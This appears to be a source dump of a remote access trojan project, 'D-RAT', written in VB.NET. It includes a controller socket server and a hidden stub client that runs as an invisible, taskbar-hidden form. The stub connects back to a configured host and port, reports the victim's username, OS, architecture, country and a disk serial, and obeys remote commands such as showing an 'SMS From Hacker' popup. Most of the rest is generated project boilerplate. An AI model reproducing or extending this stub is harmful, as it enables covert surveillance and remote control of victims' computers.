| _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.D_RAT.My.MySettings 68 | Get 69 | Return Global.D_RAT.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /D-RAT/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /D-RAT/Resources/DB.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT/Resources/DB.txt -------------------------------------------------------------------------------- /D-RAT/Resources/PHP_Page.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /D-RAT/Socket.vb: -------------------------------------------------------------------------------- 1 | Imports System.Net.Sockets 2 | Imports System.Threading 3 | 4 | Public Class SocketServer 5 | Private S As TcpListener 6 | Private SKT As Integer = -1 7 | Public SK(9999) As Socket 8 | Public Event Data(ByVal sock As Integer, ByVal B As Byte()) 9 | Public Event DisConnected(ByVal sock As Integer) 10 | Public Event Connected(ByVal sock As Integer) 11 | Private SPL As String = "-[DRAT]-" 12 | Sub stops() 13 | Try 14 | S.Stop() 15 | Dim T As New Threading.Thread(AddressOf PND, 10) 16 | T.Abort() 17 | Catch : End Try 18 | End Sub 19 | Sub Start(ByVal P As Integer) 20 | S = New TcpListener(P) 21 | S.Start() 22 | Dim T As New Threading.Thread(AddressOf PND, 10) 23 | T.Start() 24 | End Sub 25 | Sub Send(ByVal sock As Integer, ByVal s As String) 26 | Send(sock, SB(s)) 27 | End Sub 28 | Sub Send(ByVal sock As Integer, ByVal b As Byte()) 29 | 30 | Try 31 | Dim m As New IO.MemoryStream 32 | m.Write(b, 0, b.Length) 33 | m.Write(SB(SPL), 0, SPL.Length) 34 | SK(sock).Send(m.ToArray, 0, m.Length, SocketFlags.None) 35 | m.Dispose() 36 | Catch ex As Exception 37 | Disconnect(sock) 38 | End Try 39 | End Sub 40 | 41 | Private Function NEWSKT() As Integer 42 | re: 43 | Thread.Sleep(1) 44 | SKT += 1 45 | If SKT = SK.Length Then 46 | SKT = 0 47 | GoTo re 48 | End If 49 | If Online.Contains(SKT) = False Then 50 | Online.Add(SKT) 51 | Return SKT.ToString.Clone 52 | End If 53 | GoTo re 54 | End Function 55 | Public Online As New List(Of Integer) 56 | Private Sub PND() 57 | Try 58 | ReDim SK(9999) 59 | re: 60 | 61 | Thread.Sleep(1) 62 | If S.Pending Then 63 | 64 | Dim sock As Integer = NEWSKT() 65 | SK(sock) = S.AcceptSocket 66 | 67 | SK(sock).ReceiveBufferSize = 99999 68 | SK(sock).SendBufferSize = 99999 69 | SK(sock).ReceiveTimeout = 9000 70 | SK(sock).SendTimeout = 9000 71 | 72 | Dim t As New Threading.Thread(AddressOf RC, 10) 73 | t.Start(sock) 74 | 75 | RaiseEvent Connected(sock) 76 | End If 77 | GoTo re 78 | Catch : End Try 79 | End Sub 80 | Public Sub Disconnect(ByVal Sock As Integer) 81 | 82 | Try 83 | SK(Sock).Disconnect(False) 84 | Catch ex As Exception 85 | End Try 86 | Try 87 | SK(Sock).Close() 88 | Catch ex As Exception 89 | End Try 90 | SK(Sock) = Nothing 91 | End Sub 92 | Sub RC(ByVal sock As Integer) 93 | 94 | Dim M As New IO.MemoryStream 95 | Dim cc As Integer = 0 96 | 97 | re: 98 | 99 | cc += 1 100 | If cc = 500 Then 101 | Try 102 | If SK(sock).Poll(-1, Net.Sockets.SelectMode.SelectRead) And SK(sock).Available <= 0 Then 103 | GoTo e 104 | End If 105 | Catch ex As Exception 106 | GoTo e 107 | End Try 108 | cc = 0 109 | End If 110 | Try 111 | If SK(sock) IsNot Nothing Then 112 | 113 | If SK(sock).Connected Then 114 | If SK(sock).Available > 0 Then 115 | Dim B(SK(sock).Available - 1) As Byte 116 | SK(sock).Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) 117 | M.Write(B, 0, B.Length) 118 | rr: 119 | If BS(M.ToArray).Contains(SPL) Then 120 | Dim A As Array = fx(M.ToArray, SPL) 121 | RaiseEvent Data(sock, A(0)) 122 | M.Dispose() 123 | M = New IO.MemoryStream 124 | If A.Length = 2 Then 125 | M.Write(A(1), 0, A(1).length) 126 | Thread.Sleep(1) 127 | GoTo rr 128 | End If 129 | End If 130 | 131 | End If 132 | Else 133 | GoTo e 134 | End If 135 | Else 136 | GoTo e 137 | End If 138 | Catch ex As Exception 139 | GoTo e 140 | End Try 141 | Thread.Sleep(1) 142 | GoTo re 143 | e: 144 | Disconnect(sock) 145 | Try 146 | Online.Remove(sock) 147 | Catch ex As Exception 148 | End Try 149 | RaiseEvent DisConnected(sock) 150 | End Sub 151 | Private oIP(9999) As String 152 | Public Function IP(ByRef sock As Integer) As String 153 | Try 154 | oIP(sock) = Split(SK(sock).RemoteEndPoint.ToString(), ":")(0) 155 | Return oIP(sock) 156 | Catch ex As Exception 157 | If oIP(sock) Is Nothing Then 158 | Return "X.X.X.X" 159 | Else 160 | Return oIP(sock) 161 | End If 162 | End Try 163 | 164 | End Function 165 | End Class 166 | -------------------------------------------------------------------------------- /D-RAT/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /D-RAT/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /D-RAT/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mr-wolf-gb/D-RAT_VB.NET_MySQL_PHP/e9518c34cf9102c97b8f7da13a97f9db649f3913/D-RAT/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll -------------------------------------------------------------------------------- /D-STUB/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /D-STUB/D-STUB.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 7 | 8 | 2.0 9 | {0A364557-81E3-42AE-A390-05FB4FE6D2F8} 10 | WinExe 11 | D_STUB.My.MyApplication 12 | D_STUB 13 | D-STUB 14 | 512 15 | WindowsForms 16 | v2.0 17 | 18 | 19 | x86 20 | true 21 | full 22 | true 23 | true 24 | ..\ 25 | D-STUB.xml 26 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 27 | 28 | 29 | x86 30 | pdbonly 31 | false 32 | true 33 | true 34 | bin\Release\ 35 | D-STUB.xml 36 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 37 | 38 | 39 | On 40 | 41 | 42 | Binary 43 | 44 | 45 | Off 46 | 47 | 48 | On 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | Form1.vb 71 | 72 | 73 | Form 74 | 75 | 76 | 77 | True 78 | Application.myapp 79 | 80 | 81 | True 82 | True 83 | Resources.resx 84 | 85 | 86 | True 87 | Settings.settings 88 | True 89 | 90 | 91 | 92 | 93 | Form1.vb 94 | 95 | 96 | VbMyResourcesResXFileCodeGenerator 97 | Resources.Designer.vb 98 | My.Resources 99 | Designer 100 | 101 | 102 | 103 | 104 | MyApplicationCodeGenerator 105 | Application.Designer.vb 106 | 107 | 108 | SettingsSingleFileGenerator 109 | My 110 | Settings.Designer.vb 111 | 112 | 113 | 114 | 121 | -------------------------------------------------------------------------------- /D-STUB/Form1.designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Form1 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) 27 | Me.Timer2 = New System.Windows.Forms.Timer(Me.components) 28 | Me.SuspendLayout() 29 | ' 30 | 'Timer2 31 | ' 32 | ' 33 | 'Form1 34 | ' 35 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 36 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 37 | Me.ClientSize = New System.Drawing.Size(25, 23) 38 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 39 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 40 | Me.Name = "Form1" 41 | Me.Opacity = 0.0R 42 | Me.ShowIcon = False 43 | Me.ShowInTaskbar = False 44 | Me.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide 45 | Me.StartPosition = System.Windows.Forms.FormStartPosition.Manual 46 | Me.Text = "Form1" 47 | Me.WindowState = System.Windows.Forms.FormWindowState.Minimized 48 | Me.ResumeLayout(False) 49 | 50 | End Sub 51 | Friend WithEvents Timer2 As System.Windows.Forms.Timer 52 | End Class 53 | -------------------------------------------------------------------------------- /D-STUB/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 106, 17 122 | 123 | 124 | 125 | 126 | AAABAAEAICAAAAEACACoCAAAFgAAACgAAAAgAAAAQAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAA 127 | AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAMDcwADwyqYAzP//AJn//wBm//8AM///AP/M 128 | /wDMzP8Amcz/AGbM/wAzzP8AAMz/AP+Z/wDMmf8AmZn/AGaZ/wAzmf8AAJn/AP9m/wDMZv8AmWb/AGZm 129 | /wAzZv8AAGb/AP8z/wDMM/8AmTP/AGYz/wAzM/8AADP/AMwA/wCZAP8AZgD/ADMA/wD//8wAzP/MAJn/ 130 | zABm/8wAZv/MADP/zAAA/8wA/8zMAMzMzACZzMwAZszMADPMzAAAzMwA/5nMAMyZzACZmcwAZpnMADOZ 131 | zAAAmcwA/2bMAMxmzACZZswAZmbMADNmzAAAZswA/zPMAMwzzACZM8wAZjPMADMzzAAAM8wA/wDMAMwA 132 | zACZAMwAZgDMADMAzAAAAMwA//+ZAMz/mQCZ/5kAZv+ZADP/mQAA/5kA/8yZAMzMmQCZzJkAZsyZADPM 133 | mQAAzJkA/5mZAMyZmQCZmZkAZpmZADOZmQAAmZkA/2aZAMxmmQCZZpkAZmaZADNmmQAAZpkA/zOZAMwz 134 | mQCZM5kAZjOZADMzmQAAM5kA/wCZAMwAmQCZAJkAZgCZADMAmQAAAJkA//9mAMz/ZgCZ/2YAZv9mADP/ 135 | ZgAA/2YA/8xmAMzMZgCZzGYAZsxmADPMZgAAzGYA/5lmAMyZZgCZmWYAZplmADOZZgAAmWYA/2ZmAMxm 136 | ZgCZZmYAZmZmADNmZgAAZmYA/zNmAMwzZgCZM2YAZjNmADMzZgAAM2YA/wBmAMwAZgCZAGYAZgBmADMA 137 | ZgAAAGYA//8zAMz/MwCZ/zMAZv8zADP/MwAA/zMA/8wzAMzMMwCZzDMAZswzADPMMwAAzDMA/5kzAMyZ 138 | MwCZmTMAZpkzADOZMwAAmTMA/2YzAMxmMwCZZjMAZmYzADNmMwAAZjMA/zMzAMwzMwCZMzMAZjMzADMz 139 | MwAAMzMA/wAzAMwAMwCZADMAZgAzADMAMwAAADMAzP8AAJn/AABm/wAAM/8AAP/MAADMzAAAmcwAAGbM 140 | AAAzzAAAAMwAAP+ZAADMmQAAmZkAAGaZAAAzmQAAAJkAAP9mAADMZgAAmWYAAGZmAAAAZgAAM2YAAP8z 141 | AADMMwAAmTMAAGYzAAAzMwAAADMAAMwAAACZAAAAZgAAADMAAAAAAN0AAAC7AAAAqgAAAIgAAAB3AAAA 142 | VQAAAEQAAAAiAADdAAAAuwAAAKoAAACIAAAAdwAAAFUAAABEAAAAIgAA3d3dAFVVVQB3d3cAd3d3AERE 143 | RAAiIiIAERERAHcAAABVAAAARAAAACIAAADw+/8ApKCgAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP// 144 | AAD///8AAAAAAAAAAO3t7e0AAAAAAAAA7e3t7e3tAAAAAAAAAAAAAAAAAO3t7e0AAO0H/+33/+wAAO3t 145 | 7e3t7e0AAAAAAAAAAADt7e0AAF3/7Qf/7ff/7evsAADt7e3t7e3tAAAAAAAA7e3tAF3/Xf8HBwf39/f3 146 | 6+3r7ADt7e3t7e3tAAAAAADt7QBdXf/rBwcH7evt9/f39+vt7ADt7e3t7e0AAAAAAO3tAF3r6wcHBwft 147 | 6+z39/f39+3sAO3t7e3t7e0AAAAAAO0AXevrBwcH7QcHB+z39/f37ewA7e3t7e3t7QAAAAAAAADsXevr 148 | B+0HAAcAB+339+3s7wDt7e3t7e3tAAAAAAAA7Oxd6+sH/wAABwAAB+3t7O/v7wDt7e3t7e0AAAAAAOzs 149 | XV1d6+v/AAAHAAAH7e3t7e3t7ADt7e3t7QAAAADt7f///wcH6/8AAF0AAAftB///Bwft7ADt7e0AAAAA 150 | 7Qf/BwcHBwcH/wAAXQAABwcHBwcHBwft7ADtAAAAAAAH/wcH7+/v7wcH/wBdAAcHB+/v7+8HBwfsAAAA 151 | AAAA/wcHB+8AAAAAAAf/AP8A7QcAAAAAAO8HB+zsAAAAAAD/AAcH7wAA7+8AAAf///8HAAAA7+8A7wf2 152 | AOwAAAAAAP8A9/8AAAAA7+8AB///7QcAAAAA7wDvB/YA7AAAAADv7AD3/wAAAAAA7wAAB/8HAAAAAAAA 153 | AAAH9gDsAAAAAADsAPf/AAAAAAAAAAAHBwcAAAAAAAAAAAf2AOwAAAAAAOwA7Qf/7+8AAAAABwddB/8A 154 | AAAA7+8HB+0A7AAAAAAAAAAAXQf/////BwcHB+0HB/////8HBwftAAAAAAAAAAAA7ADs7Pf39wcHB133 155 | 9/ftB11d7Ozs7+8A7wAAAAAAAADs7OwHBwcHB11d9/cHB/f3911dXezs7+/vAAAAAAAAAOzsBwcHBwcH 156 | B/f3BwcHBwf39/ddXezs7+8AAAAAAAAAAF0HB/b29gcHBwcHBwcHBwf3911d7ezvAAAAAAAAAAAAXev2 157 | 9vb29vYHBwcHBwcHBwf3XV3t7OwAAAAAAAAAAAAA6+v/////9vYHBwcHBwcHB/ddXe3tAAAAAAAAAAAA 158 | AADr6/b/////9vYHBwcHBwf3XV3t7e0AAAAAAAAAAAAAAADr6//////29gcHB/f3911d7e3tAAAAAAAA 159 | AAAAAAAAAADr6/b///b29vf3911dXe3t7QAAAAAAAAAAAAAAAAAAAAAA6+vr6+v3911d7e3t7QAAAAAA 160 | AAAAAAAAAAAAAAAAAAAAAOvr9/ddXe3t7QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7QAAAAAAAADtAAAA 161 | AAAAAAAAAAAAAP4AAP/4AAAf8AAAB+AAAAPgAAAD4AAAAfAAAAH4AAAB8AAAAeAAAAHAAAADgAAAB4AA 162 | AA8AAAAHAAAABwAAAAcAAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPwAAAH8AAAB/gAAA/4AAAP/AA 163 | AH/4AAD//AAB//8AB///wB// 164 | 165 | 166 | -------------------------------------------------------------------------------- /D-STUB/Form1.vb: -------------------------------------------------------------------------------- 1 | Imports System.Threading 2 | Imports System.Globalization 3 | Imports System.Net.Sockets 4 | 5 | 6 | Public Class Form1 7 | 8 | #Region "Declaration" 9 | Public Shared URL As String = "[1]" 10 | Public Shared PORT As String = "[2]" 11 | Public Shared vicname As String = "[3]" 12 | Public Shared EXE As String = "[4]" 13 | Public SPL As String = "[DRAT]" 14 | Public HOST As String = GETHost() 15 | Public F As New Microsoft.VisualBasic.Devices.Computer 16 | Public WithEvents C As New SocketClient 17 | #End Region 18 | 19 | Function GETHost() As String 20 | Dim Web As New WebBrowser 21 | Web.Navigate(URL) 22 | Do While Web.ReadyState <> WebBrowserReadyState.Complete 23 | Application.DoEvents() 24 | Loop 25 | Return Web.Url.Host 26 | End Function 27 | 28 | Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 29 | Dim tt As Object = New Thread(AddressOf C.Statconnected, 1) 30 | tt.Start() 31 | Timer2.Start() 32 | vicname = vicname & "_" & HWD() 33 | End Sub 34 | 35 | #Region "Socket Events" 36 | 37 | Private Sub Connected() Handles C.Connected 38 | End Sub 39 | 40 | Private Sub Disconnected() Handles C.Disconnected 41 | Timer2.Interval = 100 42 | Timer2.Start() 43 | C.Connect(HOST, PORT) 44 | End Sub 45 | 46 | Private Sub Data(ByVal b As Byte()) Handles C.Data 47 | Dim T As String = BS(b) 48 | Dim A As String() = Split(T, SPL) 49 | Dim Message As String = (BS(b)) 50 | Try 51 | If A(0) = "GET_INFO" Then 52 | C.Send("SENT_INFO" & SPL & INF()) 53 | End If 54 | If A(0) = "SENT_SMS" Then 55 | MsgBox(A(1), MsgBoxStyle.Information, "! SMS From Hacker !") 56 | End If 57 | If A(0) = "SENT_DIS" Then 58 | End 59 | End If 60 | Catch ex As Exception 61 | End Try 62 | 63 | End Sub 64 | 65 | #End Region 66 | 67 | Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick 68 | If C.Statconnected = False Then 69 | C.Connect(HOST, PORT) 70 | End If 71 | End Sub 72 | 73 | Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, ByRef lpVolumeSerialNumber As Integer, ByRef lpMaximumComponentLength As Integer, ByRef lpFileSystemFlags As Integer, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Integer) As Integer 74 | Function HWD() As String 75 | Try 76 | Dim sn As Integer 77 | GetVolumeInformation(Environ("SystemDrive") & "\", Nothing, Nothing, sn, 0, 0, Nothing, Nothing) 78 | Return (Hex(sn)) 79 | Catch ex As Exception 80 | Return "ERR" 81 | End Try 82 | End Function 83 | Private culture As String = CultureInfo.CurrentCulture.EnglishName 84 | Private country As String = culture.Substring(culture.IndexOf("("c) + 1, culture.LastIndexOf(")"c) - culture.IndexOf("("c) - 1) 85 | Public Function INF() As String 86 | Dim info As String = vicname & SPL 87 | Try 88 | info &= Environment.UserName & SPL 89 | Catch ex As Exception 90 | info &= "unknow" & SPL 91 | End Try 92 | Try 93 | info += F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win") 94 | Catch ex As Exception 95 | info += "unknow" 96 | End Try 97 | info += " SP" 98 | Try 99 | Dim k As String() = Split(Environment.OSVersion.ServicePack, " ") 100 | If k.Length = 1 Then 101 | info &= "0" 102 | End If 103 | info &= k(k.Length - 1) 104 | Catch ex As Exception 105 | info &= "0" 106 | End Try 107 | Try 108 | If Environment.GetFolderPath(38).Contains("x86") Then 109 | info += " x64" & SPL 110 | Else 111 | info += " x86" & SPL 112 | End If 113 | Catch ex As Exception 114 | info += SPL 115 | End Try 116 | info &= country & SPL 117 | Return info 118 | End Function 119 | End Class 120 | 121 | Public Module Functions 122 | Public Function BS(ByVal b As Byte()) As String 123 | Return System.Text.Encoding.Default.GetString(b) 124 | End Function 125 | Public Function SB(ByVal s As String) As Byte() 126 | Return System.Text.Encoding.Default.GetBytes(s) 127 | End Function 128 | Function fx(ByVal b As Byte(), ByVal WRD As String) As Array 129 | Dim a As New List(Of Byte()) 130 | Dim M As New IO.MemoryStream 131 | Dim MM As New IO.MemoryStream 132 | Dim T As String() = Split(BS(b), WRD) 133 | M.Write(b, 0, T(0).Length) 134 | MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) 135 | a.Add(M.ToArray) 136 | a.Add(MM.ToArray) 137 | M.Dispose() 138 | MM.Dispose() 139 | Return a.ToArray 140 | End Function 141 | End Module 142 | 143 | Public Class SocketClient 144 | Private C As TcpClient 145 | Public Event Connected() 146 | Public Event Disconnected() 147 | Public Event Data(ByVal b As Byte()) 148 | Private IsBuzy As Boolean = False 149 | Private SPL As String = "-[DRAT]-" 150 | 151 | Public Function Statconnected() As Boolean 152 | Try 153 | If C.Client.Connected = True Then 154 | Return True 155 | Else 156 | Return False 157 | End If 158 | Catch ex As Exception 159 | Return False 160 | End Try 161 | End Function 162 | Sub Connect(ByVal h As String, ByVal p As Integer) 163 | Try 164 | Try 165 | If C IsNot Nothing Then 166 | C.Close() 167 | C = Nothing 168 | End If 169 | Catch ex As Exception 170 | End Try 171 | Do Until IsBuzy = False 172 | Thread.Sleep(1) 173 | Loop 174 | Try 175 | C = New TcpClient 176 | 177 | C.Connect(h, p) 178 | Dim t As New Threading.Thread(AddressOf RC, 10) 179 | t.Start() 180 | RaiseEvent Connected() 181 | Catch ex As Exception 182 | End Try 183 | Catch ex As Exception 184 | RaiseEvent Disconnected() 185 | End Try 186 | End Sub 187 | 188 | Sub DisConnect() 189 | Try 190 | C.Close() 191 | Catch ex As Exception 192 | End Try 193 | C = Nothing 194 | RaiseEvent Disconnected() 195 | End Sub 196 | Sub Send(ByVal s As String) 197 | Send(SB(s)) 198 | End Sub 199 | Sub Send(ByVal b As Byte()) 200 | Try 201 | Dim m As New IO.MemoryStream 202 | m.Write(b, 0, b.Length) 203 | m.Write(SB(SPL), 0, SPL.Length) 204 | C.Client.Send(m.ToArray, 0, m.Length, SocketFlags.None) 205 | Catch ex As Exception 206 | DisConnect() 207 | End Try 208 | End Sub 209 | Private Sub RC() 210 | IsBuzy = True 211 | Dim M As New IO.MemoryStream 212 | Dim cc As Integer = 0 213 | re: 214 | Thread.Sleep(1) 215 | 216 | Try 217 | If C Is Nothing Then 218 | GoTo co 219 | Else 220 | If C.Client.Connected = False Then 221 | GoTo co 222 | Else 223 | cc += 1 224 | If cc > 100 Then 225 | cc = 0 226 | Try 227 | If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then 228 | GoTo co 229 | End If 230 | Catch ex As Exception 231 | GoTo co 232 | End Try 233 | End If 234 | 235 | End If 236 | End If 237 | If C.Available > 0 Then 238 | Dim B(C.Available - 1) As Byte 239 | C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) 240 | M.Write(B, 0, B.Length) 241 | rr: 242 | If BS(M.ToArray).Contains(SPL) Then 243 | Dim A As Array = fx(M.ToArray, SPL) 244 | RaiseEvent Data(A(0)) 245 | M.Dispose() 246 | M = New IO.MemoryStream 247 | If A.Length = 2 Then 248 | M.Write(A(1), 0, A(1).length) 249 | Thread.Sleep(1) 250 | GoTo rr 251 | End If 252 | End If 253 | End If 254 | Catch ex As Exception 255 | GoTo co 256 | End Try 257 | GoTo re 258 | co: 259 | IsBuzy = False 260 | DisConnect() 261 | End Sub 262 | End Class 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | -------------------------------------------------------------------------------- /D-STUB/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.D_STUB.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /D-STUB/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /D-STUB/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /D-STUB/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My.Resources 16 | 17 | 'This class was auto-generated by the StronglyTypedResourceBuilder 18 | 'class via a tool like ResGen or Visual Studio. 19 | 'To add or remove a member, edit your .ResX file then rerun ResGen 20 | 'with the /str option, or rebuild your VS project. 21 | ''' 22 | ''' A strongly-typed resource class, for looking up localized strings, etc. 23 | ''' 24 | _ 28 | Friend Module Resources 29 | 30 | Private resourceMan As Global.System.Resources.ResourceManager 31 | 32 | Private resourceCulture As Global.System.Globalization.CultureInfo 33 | 34 | ''' 35 | ''' Returns the cached ResourceManager instance used by this class. 36 | ''' 37 | _ 38 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 39 | Get 40 | If Object.ReferenceEquals(resourceMan, Nothing) Then 41 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("D_STUB.Resources", GetType(Resources).Assembly) 42 | resourceMan = temp 43 | End If 44 | Return resourceMan 45 | End Get 46 | End Property 47 | 48 | ''' 49 | ''' Overrides the current thread's CurrentUICulture property for all 50 | ''' resource lookups using this strongly typed resource class. 51 | ''' 52 | _ 53 | Friend Property Culture() As Global.System.Globalization.CultureInfo 54 | Get 55 | Return resourceCulture 56 | End Get 57 | Set(ByVal value As 